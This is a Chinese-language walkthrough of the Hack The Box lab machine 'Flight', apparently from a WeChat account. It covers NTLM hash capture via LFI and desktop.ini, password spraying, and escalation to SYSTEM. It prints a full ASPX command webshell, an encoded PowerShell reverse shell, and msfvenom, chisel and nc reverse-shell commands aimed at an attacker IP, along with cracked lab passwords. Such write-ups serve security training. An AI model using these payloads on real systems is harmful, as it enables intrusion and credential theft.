一、思路概况
1.80端口开放,纯静态页,爆破子域名发现school
2.school页面存在lfi,过滤严格无法lfi,但通过smb监听到了ntlm的hash值
3.枚举smb用户,同密码爆破出c.bum用户的smb
4.在c.bum的smb文件中,写入反弹shell的php,弹回apache的shell
5.在apache的shell中,使用RunasCs工具拿到c.bum的权限
6.netstat 发现8000端口的iis服务,写入aspx弹回iis的shell
7.通过iis的shell提权system成功
二、信息搜集
nmap端口扫描
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49693/tcp open unknown
打开80端口底部发现了域名,flight.htb,加入hosts,并开始爆破子域名
school.flight.htb 加入hosts。
echo "10.129.228.120 school.flight.htb" >> /etc/hosts
三、lfi监听hash
对其进行目录扫描,但是没发现什么东西。
当我在网站随便点点点的时候,注意到了web参数包含文件名。
尝试包含一些文件时,被拦截了,查看一下index.php, 发现了过滤规则
很难绕过这个过滤器来利用这个漏洞。 url 验证部分无法进行 LFI。 但是我们可以使用此代码强制服务使用 Windows 网络共享语法获取远程源。
使用responder 开启监听
responder -I tun0 -wPv
监听到了ntlm哈希
本地破解hash成功
S@Ss!K@*t13 (svc_apache)
四、枚举smb用户
获取到凭证 svc_apache 后,查看一下SMB 服务中的文件夹
└─# smbclient -L //flight.htb/ -U svc_apache
Password for [WORKGROUPsvc_apache]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shared Disk
SYSVOL Disk Logon server share
Users Disk
Web Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to flight.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
使用先前获得的凭据在 SMB 上执行枚举用户
O.Possum
svc_apache
V.Stevens
D.Truff
I.Francis
C.Bum
W.Walker
S.Moon
R.Cold
G.Lors
L.Kein
krbtgt
M.Gold
Guest
Administrator
同密码爆破其他用户,发现了C.bum也在使用相同的密码
使用 impacket-smbexec,我们可以找出哪个共享文件夹是可写的。但是似乎有防御可以防止写入其他类型,传不进去exe。Shared目录可写。
五、desktop.ini 监听hash
我发现Shared 文件夹可以上传和修改 =>所以我参考了这篇文章
https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds#desktop.ini
[.ShellClassInfo]
IconResource=\10.10.14.3le
创建文件desktop.ini后,我们将其放入smb文件夹Shared
使用responder监听,拿到了ntlm的hash。
如果这里不太明白为什么会监听到hash,详见附录A
本地john爆破hash成功
Tikkycoll_431012284 (c.bum)
使用smb登录,发现是web的文件夹
六、登录c.bum用户
使用 在线生成反弹shell[1] 工具,生成php的反弹shell,传上去,访问一下,拿到了shell
使用runascs 工具登录到c.bum 用户
https://github.com/antonioCoco/RunasCs/tree/master
curl 10.10.14.3/RunasCs.exe -o runas.exe
runas.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.3:4466
拿到了user权限。
七、提权system
通过netstat 发现还开了8000端口
使用chinsel工具转发出来。
靶机
curl 10.10.14.3/chisel.exe -o chisel.exe
chisel.exe client 10.10.14.3:1111 R:8000:127.0.0.1:8000
kali
./chisel server --reverse -p 1111
在我连接到网站时,我发现该网站是由 ASP .NET 编写的 ,很可能是高权限运行的。=> 我可以尝试上传 .aspx 来反弹shell
使用msf生成aspx的木马,上传并访问
kali
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f aspx -o shell.aspx
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
run
靶机
curl 10.10.14.3/shell.aspx -o shell.aspx
但是却没有弹回shell,可能目标环境有某些限制不太支持。
改为上传aspx的cmd木马。
shell2.aspx
<%@ Page Language="C#" AutoEventWireup="true"%>
<%@ import Namespace="System.Diagnostics"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server" language="C#">
protected void Page_Load(object sender, EventArgs e)
{
if(!IsPostBack) curdir.Text = Server.MapPath(".");
}
protected string RunCmd(string path, string cmd, string curdir)
{
string retval = "";
try
{
Process p = new Process();
p.StartInfo.FileName = path;
p.StartInfo.UseShellExecute = false;
p.StartInfo.WorkingDirectory = curdir;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.Arguments = cmd;
p.Start();
p.StandardInput.WriteLine("exit");
retval = "rn----------- 运行结果 --------------rn";
retval += p.StandardOutput.ReadToEnd();
retval += "rn----------- 程序错误 --------------rn";
retval += p.StandardError.ReadToEnd();
}
catch (Exception err)
{
retval = err.Message;
}
return retval;
}
protected void Execute_Click(object sender, EventArgs e)
{
string path = cmdpath.Text;
string cmd = cmdline.Text;
string wkdir = curdir.Text;
result.Text = RunCmd(path, cmd, wkdir);
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>剑眉大侠 and Cmd.aspx</title>
</head>
<body>
<form id="form1" runat="server">
<div style="text-align: left">
<span style="color: #ff99ff">Cmd.aspx powered by 剑眉大侠<br />
<br />
</span>CMD Path:<asp:TextBox ID="cmdpath" runat="server" Width="755px">c:windowssystem32cmd.exe</asp:TextBox><br />
CurrentDir:<asp:TextBox ID="curdir" runat="server" Width="755px"></asp:TextBox><br />
CMD Line:<asp:TextBox ID="cmdline" runat="server" Width="756px">/c set</asp:TextBox>
<asp:Button ID="Execute" runat="server" OnClick="Execute_Click" Text="Execute" /><br />
<br />
<asp:TextBox ID="result" runat="server" Height="460px" TextMode="MultiLine" Width="901px"></asp:TextBox></div>
</form>
</body>
</html>
curl 10.10.14.3/shell2.aspx -o shell2.aspx
反弹shell的powershell脚本
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
弹回的shell 权限是 iis
查看一下iis用户的权限
由于具有SeImpersonatePrivilege 权限,可以使用 JuicyPotato 来提权system
参考文章:https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato
JuicyPotatoNG工具:https://github.com/antonioCoco/JuicyPotatoNG
nc windows工具:https://eternallybored.org/misc/netcat/
至于JuicyPotato和JuicyPotatoNG工具的区别,详见附录B
需要上传这俩个文件到靶机
curl 10.10.14.3:81/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
curl 10.10.14.3:81/nc.exe -o nc.exe
把这俩个文件的权限赋予给iis
icacls JuicyPotatoNG.exe /grant Users:F
icacls nc.exe /grant Users:F
使用iis权限的session 来提权system
C:UsersC.BumDesktopJuicyPotatoNG.exe -t * -p c:windowssystem32cmd.exe -a "/c C:UsersC.BumDesktopnc.exe -e cmd.exe 10.10.14.3 4499"
成功提权system!
附录A
这里求助了一下羽师傅,为什么上传desktop.ini 会捕获hash
还有俩个参考文献
https://www.scip.ch/en/?labs.20220421
https://isc.sans.edu/diary/Desktopini+as+a+postexploitation+tool/25912
附录B
在这篇文章中详细介绍了 JuicyPotato[2]、 Juicy2[3] 的发展历史,并且JuicyPotatoNG 是他们的升级版。
https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
References
[1]
在线生成反弹shell: https://www.0le.cn/reverse/[2]
JuicyPotato: https://github.com/ohpe/juicy-potato[3]
Juicy2: https://decoder.cloud/2020/05/30/the-impersonation-game/
原文始发于微信公众号(靶机狂魔):靶机—— Flight
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论